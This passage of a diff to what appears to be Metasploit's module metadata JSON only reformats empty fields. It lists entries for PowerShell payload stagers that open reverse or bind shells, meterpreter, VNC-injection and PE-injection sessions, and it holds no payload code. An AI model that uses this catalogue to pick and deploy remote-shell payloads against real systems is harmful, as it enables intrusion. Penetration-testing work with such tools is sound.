"payload/cmd/windows/powershell/vncinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231172,8 +233700,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231186,9 +233713,7 @@ "payload_cmd/windows/powershell/vncinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231216,8 +233741,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231230,9 +233754,7 @@ "payload_cmd/windows/powershell/vncinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231262,8 +233784,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231276,9 +233797,7 @@ "payload_cmd/windows/powershell/vncinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231306,8 +233825,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231320,9 +233838,7 @@ "payload_cmd/windows/powershell/vncinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/vncinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231349,8 +233865,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231363,9 +233878,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231392,8 +233905,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231406,9 +233918,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231435,8 +233945,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231449,9 +233958,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231479,8 +233986,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231493,9 +233999,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231522,8 +234026,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231536,9 +234039,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231565,8 +234066,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231579,9 +234079,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231609,8 +234107,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231623,9 +234120,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231653,8 +234148,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231667,9 +234161,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231698,8 +234190,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231712,9 +234203,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231744,8 +234233,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231758,9 +234246,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231790,8 +234276,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231804,9 +234289,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231834,8 +234317,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231848,9 +234330,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231878,8 +234358,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231892,9 +234371,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231904,9 +234381,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -231920,8 +234395,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231934,9 +234408,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231947,9 +234419,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -231963,8 +234433,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231977,9 +234446,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231989,9 +234456,7 @@ "UserExistsError" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232005,8 +234470,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232019,9 +234483,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232031,9 +234493,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232047,8 +234507,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232061,9 +234520,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232078,9 +234535,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232094,8 +234549,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232108,9 +234562,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232121,9 +234573,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232137,8 +234587,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232151,9 +234600,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_http": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232163,9 +234610,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232179,8 +234624,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232193,9 +234637,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_https": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232207,9 +234649,7 @@ "rwincey" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232223,8 +234663,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232237,9 +234676,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232249,9 +234686,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232265,8 +234700,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232279,9 +234713,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232291,9 +234723,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232307,8 +234737,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232321,9 +234750,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232338,9 +234765,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232354,8 +234779,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232368,9 +234792,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232381,9 +234803,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232397,8 +234817,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232411,9 +234830,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_winhttp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232423,9 +234840,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232439,8 +234854,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232453,9 +234867,7 @@ "payload_cmd/windows/powershell/x64/custom/reverse_winhttps": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232465,9 +234877,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232481,8 +234891,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232495,9 +234904,7 @@ "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232507,9 +234914,7 @@ "Shelby Pace" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232523,8 +234928,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232537,9 +234941,7 @@ "payload_cmd/windows/powershell/x64/exec": { "name": "Powershell Exec, Windows x64 Execute Command", "fullname": "payload/cmd/windows/powershell/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232548,9 +234950,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232564,8 +234964,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232576,9 +234975,7 @@ "payload_cmd/windows/powershell/x64/loadlibrary": { "name": "Powershell Exec, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/powershell/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232588,9 +234985,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232604,8 +234999,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232616,9 +235010,7 @@ "payload_cmd/windows/powershell/x64/messagebox": { "name": "Powershell Exec, Windows MessageBox x64", "fullname": "payload/cmd/windows/powershell/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232627,9 +235019,7 @@ "pasta " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232643,8 +235033,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232655,9 +235044,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232685,8 +235072,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232699,9 +235085,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232729,8 +235113,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232743,9 +235126,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232774,8 +235155,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232788,9 +235168,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232818,8 +235196,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232832,9 +235209,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232866,8 +235241,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232880,9 +235254,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232910,8 +235282,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232924,9 +235295,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_http": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232954,8 +235323,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232968,9 +235336,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_https": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233001,8 +235367,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233015,9 +235380,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_named_pipe": { "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233045,8 +235408,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233059,9 +235421,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233089,8 +235449,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233103,9 +235462,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233137,8 +235494,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233151,9 +235507,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233181,8 +235535,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233195,9 +235548,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttp": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233225,8 +235576,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233239,9 +235589,7 @@ "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttps": { "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233269,8 +235617,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233283,9 +235630,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233311,8 +235656,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233325,9 +235669,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233354,8 +235696,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233368,9 +235709,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", 